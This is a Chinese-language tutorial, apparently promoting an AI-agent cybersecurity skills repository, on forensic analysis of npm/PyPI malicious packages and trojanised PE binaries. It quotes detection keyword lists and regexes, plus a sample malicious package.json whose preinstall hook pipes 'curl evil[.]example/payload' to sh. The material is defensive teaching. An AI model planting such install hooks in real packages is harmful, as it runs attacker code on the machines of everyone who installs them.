供应链恶意软件制品分析实战：从 npm/PyPI 恶意包检测到二进制投毒取证

供应链恶意软件制品分析实战：从 npm/PyPI 恶意包检测到二进制投毒取证

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

导读

供应链攻击通过攻陷合法的软件分发渠道，将恶意代码伪装成可信更新交付给最终用户，典型案例包括 SolarWinds SUNBURST（2020，影响 18,000+ 客户）、3CX SmoothOperator（2023）以及层出不穷的 npm/PyPI 包投毒活动。本文以本仓库的 analyzing-supply-chain-malware-artifacts 技能及其 API 参考文档 为骨架，系统讲解利用 npm/PyPI 官方注册表 API、Socket.dev、Sigstore/cosign 与 SLSA 框架进行供应链制品审查，并结合仓库配套的 agent.py 与 PE 二进制对比脚本，落地一套"注册表元数据审查 → 安装钩子静态分析 → 二进制投毒比对 → 签名与溯源验证"的完整取证流程。读完本文，你将具备独立识别可疑依赖包、还原投毒感染链并提取 IOC 的能力。

供应链攻击的威胁模型与适用场景

攻击为何屡屡得手

供应链攻击的核心在于信任的滥用：开发者信任npm install、pip install拉取到的包"等同于其官方作者意图"。攻击者正是利用这一信任链，通过三种主要方式投毒：

• 木马化合法软件更新（对应 MITRE ATT&CK T1195.002 Compromise Software Supply Chain）：入侵软件厂商的构建或分发管道，在官方更新中注入恶意代码，SolarWinds 与 3CX 事件即属此类；
• 投毒合法软件分发渠道（T1195.001 Compromise Software Distribution）：直接向 npm/PyPI 等公共仓库上传恶意包；
• 依赖混淆 / 仿冒包：注册与热门包同名的"孪生"包，利用打字错误（typosquatting）或内部私有包名冲突诱导安装。

何时启用本技能

依据 SKILL.md 的说明，以下场景应启动该分析流程：

• 调查涉及供应链恶意软件制品的安防事件；
• 为该领域构建检测规则或威胁狩猎查询；
• SOC 分析师需要结构化的分析流程；
• 验证相关攻击技术的安全监控覆盖度。

该技能在仓库中明确映射至 MITRE ATT&CK 的 T1195（Supply Chain Compromise）、T1554（Compromise Client Software Binary）、T1553.002（Code Signing Policy Modification）、T1027（Obfuscated Files or Information），并关联 NIST CSF 的 DE.AE-02、RS.AN-03、ID.RA-01、DE.CM-01 等控制项，详见 SKILL.md frontmatter 与 MITRE ATT&CK 覆盖总览。

前置条件与工具链

按照 SKILL.md 的 Prerequisites，执行本分析需要：

• Python 3.9+，并安装pefile、ssdeep、hashlib等库；
• 二进制对比工具：BinDiff、Diaphora；
• 代码签名验证工具：Windows 下用sigcheck，macOS 下用codesign；
• 软件成分分析（SCA）工具；
• 合法软件版本的访问权（用于与被投毒版本比对）；
• 包仓库监控能力（npm、PyPI、NuGet）。

npm Registry API：包元数据取证

基础查询命令

npm 官方注册表提供开放的 JSON API，无需认证即可查询包元数据。核心端点如下（源自 api-reference.md）：

# 查询包的所有元数据（含全部版本列表） curl https://registry.npmjs.org/<package-name> # 查询指定版本的元数据 curl https://registry.npmjs.org/<package-name>/<version>

响应关键字段

仓库源码如何印证这些字段

仓库配套的 agent.py 用 Python 完整实现了上述 API 调用，并只抽取取证最关键的四个维度：

def check_npm_package(package_name): url = f"https://registry.npmjs.org/{package_name}" resp = requests.get(url, timeout=15) resp.raise_for_status() data = resp.json() latest = data.get("dist-tags", {}).get("latest", "") versions = list(data.get("versions", {}).keys()) maintainers = data.get("maintainers", []) return { "name": package_name, "latest": latest, "version_count": len(versions), "maintainers": [m.get("name") for m in maintainers], }

从源码实现可以推断出分析时的启发式规则：version_count异常偏大或偏小、maintainers列表与包名所属组织不一致、latest版本发布日期与time.created间隔异常，都是需要深挖的信号。注意agent.py依赖requests库，若未安装会返回{"error": "requests not installed"}。

PyPI JSON API：Python 生态投毒排查

查询命令

PyPI 同样提供标准的 JSON 接口（源自 api-reference.md）：

curl https://pypi.org/pypi/<package-name>/json

关键字段

仓库源码实现

agent.py 的实现：

def check_pypi_package(package_name): url = f"https://pypi.org/pypi/{package_name}/json" resp = requests.get(url, timeout=15) resp.raise_for_status() data = resp.json() info = data.get("info", {}) return { "name": info.get("name"), "version": info.get("version"), "author": info.get("author"), "release_count": len(data.get("releases", {})), }

实战要点：PyPI 恶意包的一大特征是info.author使用随机字符串或与项目历史作者完全不同；release_count与info.version不符（如只有一个版本却标记大量 release）也是常见疑点。下载 release 制品后，应优先检查其中的setup.py/setup.cfg是否存在动态执行代码（见下文"安装钩子分析"）。

可疑包指标清单：风险速查表

下表是 api-reference.md 给出的核心判据，也是自动化扫描规则的直接来源：

仓库源码中的指标落地

agent.py 将上表前四行 HIGH 级指标固化为可运行的检测逻辑：

1. npm 安装钩子扫描——遍历preinstall、postinstall、preuninstall三个钩子，若命令中出现curl、wget、eval、exec、base64任一关键字则直接判定 HIGH，否则为 MEDIUM；同时将dependencies与devDependencies中值以http或git开头的依赖标记为 HIGH 级url_dependency：

for hook in ["preinstall", "postinstall", "preuninstall"]: if hook in scripts: cmd = scripts[hook] findings.append({ "type": "install_hook", "hook": hook, "command": cmd[:200], "severity": "HIGH" if any(s in cmd.lower() for s in ["curl", "wget", "eval", "exec", "base64"]) else "MEDIUM", })

2. setup.py 恶意模式扫描——使用正则匹配六类高危模式：

patterns = [ (r"os\.system\(", "os.system() execution"), (r"subprocess\.", "subprocess execution"), (r"exec\(", "exec() code execution"), (r"eval\(", "eval() code execution"), (r"base64\.b64decode", "Base64 decoding"), (r"socket\.", "Network socket usage"), ]

命中任意模式即标记 HIGH 严重级别。这些模式覆盖了 Python 供应链投毒中最常见的"安装时外联下载载荷、解码执行、建立 socket 回连"手法。

npm install 钩子攻击面详解

npm 的生命周期脚本（lifecycle scripts）是供应链投毒的高发区，因为它们在包安装、升级、卸载时自动以安装者权限执行。以下 JSON 展示了 api-reference.md 给出的典型恶意配置：

{ "scripts": { "preinstall": "curl evil[.]example/payload | sh", "postinstall": "node ./install.js", "preuninstall": "node cleanup.js" } }

逐行解读其危害：

• preinstall：在依赖安装之前执行。curl ... | sh直接从攻击者服务器拉取 shell 脚本并执行，是最直白的远程代码执行通道；
• postinstall：在包安装完成后执行。node ./install.js将恶意逻辑藏在 JS 文件中，比裸命令更隐蔽，且可以在install.js内再解码执行；
• preuninstall：在包被卸载前执行。攻击者用它"清理现场"或执行持久化逻辑，即使管理员卸载了恶意包，代码仍会先运行一次。

检测建议：审查任何 npm 包时，先运行npm view <pkg> scripts查看公开的生命周期脚本；对本地已下载的包则直接解析package.json的scripts字段。仓库的 agent.py 正是以该字段为输入完成自动化检测。

Socket.dev：供应链综合分析

除官方注册表外，api-reference.md 推荐使用 Socket.dev 对依赖进行深度审查：

# 对当前项目的 npm 依赖进行安全审计 socket npm audit # 查看指定包的供应链信息（含行为指标、许可证、依赖关系） socket npm info <package>

Socket.dev 的价值在于其不依赖已知漏洞库，而是通过静态行为分析（如检测安装脚本、网络访问、混淆代码、二进制文件）识别"看似正常但行为可疑"的包，正好弥补官方注册表元数据审查的盲区。在取证中，它可作为 npm/PyPI 元数据查询的交叉验证手段。

二进制投毒取证：PE 文件对比分析

供应链攻击的另一大类是木马化合法二进制（如 3CX 的3CXDesktopApp、SolarWinds 的SolarWinds.Orion.Core.BusinessLayer.dll）。SKILL.md 提供了完整的 PE 文件对比脚本，其核心思路是：将可疑二进制与合法版本逐项对比，任何新增、异常膨胀或特性改变的节（section），以及新增的导入函数，都是注入代码的指纹。

节（Section）对比逻辑

脚本从合法版本与可疑版本中各提取节名称、原始数据大小（SizeOfRawData）、熵值（get_entropy()）与特性标志（Characteristics），然后判断：

• 新增节：可疑版本中存在而合法版本中不存在的节，直接标记为"New section not in legitimate version"——这是外壳代码（packer）或附加注入载荷的最常见落点；
• 尺寸显著变化：同名节大小差异超过 1024 字节时标记"Section size significantly changed"。合法更新通常只引起小幅尺寸波动，大幅膨胀往往意味着植入了额外代码；
• 熵值（entropy）被一并记录：加密或压缩的恶意载荷通常具有接近 8.0 的高熵，可与合法版本的同名节交叉对比。

导入表对比逻辑

脚本将两个版本的导入以DLL!function形式收集为集合，再求差集suspect_imports - legit_imports，得到新增导入。这是极其有力的取证证据：若可疑版本新增了对WinINet、ws2_32、advapi32等网络/加密/权限相关 API 的引用，而合法版本完全没有，基本可以确认存在网络外联或系统提权行为。

代码签名状态检查

report["legit_signed"] = bool(legit_pe.OPTIONAL_HEADER.DATA_DIRECTORY[4].Size) report["suspect_signed"] = bool(suspect_pe.OPTIONAL_HEADER.DATA_DIRECTORY[4].Size)

通过检查 PE 可选头中**数据目录索引 4（安全目录 / Security Directory）**的大小，快速判断两个版本是否带数字签名。若合法版本有签名而可疑版本无签名（或反之、或签名者不一致），即为代码签名异常——这在 SolarWinds、3CX 事件中都是关键的判别特征。

运行方式与哈希取证

python compare_pe.py <legitimate_binary> <suspect_binary>

脚本同时内置hash_file()函数，对文件计算 MD5、SHA1、SHA256 三种哈希，用于 IOC 提取与情报共享。agent.py 中的compute_hash()则以 64KB 分块读取实现同样的多算法哈希，避免一次性载入大文件的内存压力。

Sigstore/cosign：软件签名与完整性验证

供应链防御的"正面对抗"手段是代码签名与签名验证。api-reference.md 给出了 Sigstore 生态下 cosign 的两类验证命令。

验证容器镜像

cosign verify --certificate-identity-regexp=".*" \ --certificate-oidc-issuer-regexp=".*" image:tag

--certificate-identity-regexp与--certificate-oidc-issuer-regexp分别以正则约束签名证书的身份与OIDC 签发者。在生产环境应将其替换为具体的身份字符串（如发布者邮箱/服务账号）与签发者（如https://github.com/login/oauth、https://accounts.google.com），而不是通配.*——否则验证仅确认"存在有效签名"，无法确认"签名者可信"。

验证任意制品

cosign verify-blob --signature file.sig --certificate file.crt artifact.tar.gz

verify-blob用于对非容器制品（源码 tarball、二进制包、SBOM 文件）做签名验证：--signature指定签名文件，--certificate指定证书文件，二者与制品一起参与校验。这在供应链取证中用于确认"可疑更新包是否真的由官方密钥签名"。

SLSA：供应链安全等级评估

api-reference.md 总结了 SLSA（Supply-chain Levels for Software Artifacts，软件制品供应链等级）框架，用于评估一个构建流程的可信程度：

取证应用：当调查一起疑似供应链攻击时，评估受害软件所声称的 SLSA 等级与实际构建实践是否相符非常关键。例如攻击者若声称"构建不可伪造（SLSA 3）"，却在构建机外部发现注入痕迹，即可推断是构建管道本身被攻陷（T1195.002）或来源证明系统存在缺陷。

端到端分析工作流

workflows.md 给出了主流程：

[Sample Collection] --> [Static Analysis] --> [Dynamic Analysis] --> [IOC Extraction] | v [Report Generation]

结合本技能的全部工具，可将各环节具体化为：

1. 样本采集：通过 npm/PyPI 注册表 API 下载可疑包及历史版本；从受害主机提取被投毒的可执行文件与合法版本；
2. 静态分析：对包执行 agent.py 的安装钩子/setup.py扫描；对二进制执行 PE 节、导入表、签名状态对比；计算 SHA-256 等哈希；
3. 动态分析：在隔离沙箱中执行安装脚本，观察外联域名、落盘文件与进程行为（对应 SKILL.md 中"将注入代码隔离并单独分析"的要求）；
4. IOC 提取：整理恶意域名、URL、哈希、签名指纹，用于检测规则与阻断；
5. 报告生成：按 template.md 输出结构化报告，包含样本信息（SHA-256、文件类型、TLP 分级）、发现项、IOC 表与修复建议。

验证标准与交付物

SKILL.md 的 Validation Criteria 定义了分析结论必须满足的质量门槛：

• 通过二进制差分（binary diffing）识别出被木马化的组件；
• 注入代码被隔离并单独分析；
• 代码签名异常被记录在案；
• 从构建产物还原感染时间线；
• 受影响系统的下游影响范围得到评估；
• 提取 IOC 用于检测与阻断。

报告可套用仓库提供的 分析报告模板，其结构为：Sample Information（SHA-256、文件类型、分析日期、分析师、TLP:AMBER 分级）→Findings（发现项 + 严重级别 + 细节）→IOCs Extracted（类型 + 值 + 上下文）→Recommendations。

框架映射与本技能在仓库中的定位

本技能在仓库中被映射为 MITRE ATT&CK 的T1195（Supply Chain Compromise）主覆盖技能，见 coverage-summary.md；SKILL.md 的 frontmatter 还列出了完整的多重框架映射：MITRE ATT&CK（T1195.001/.002、T1554、T1553.002、T1027）、NIST CSF（DE.AE-02、RS.AN-03、ID.RA-01、DE.CM-01）、MITRE ATLAS（AML.T0010）、NIST AI RMF（GOVERN-5.2、MAP-1.6、MANAGE-2.2）及 D3FEND 相关技术。可结合 NIST SP 800-83。

分析完成后，可将提取的 ATT&CK 覆盖情况导入 attack-navigator-layer.json 可视化呈现，或依据 NIST CSF 映射 归档到组织的检测覆盖矩阵中，形成从"单次事件取证"到"持续安全监控覆盖"的闭环。

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills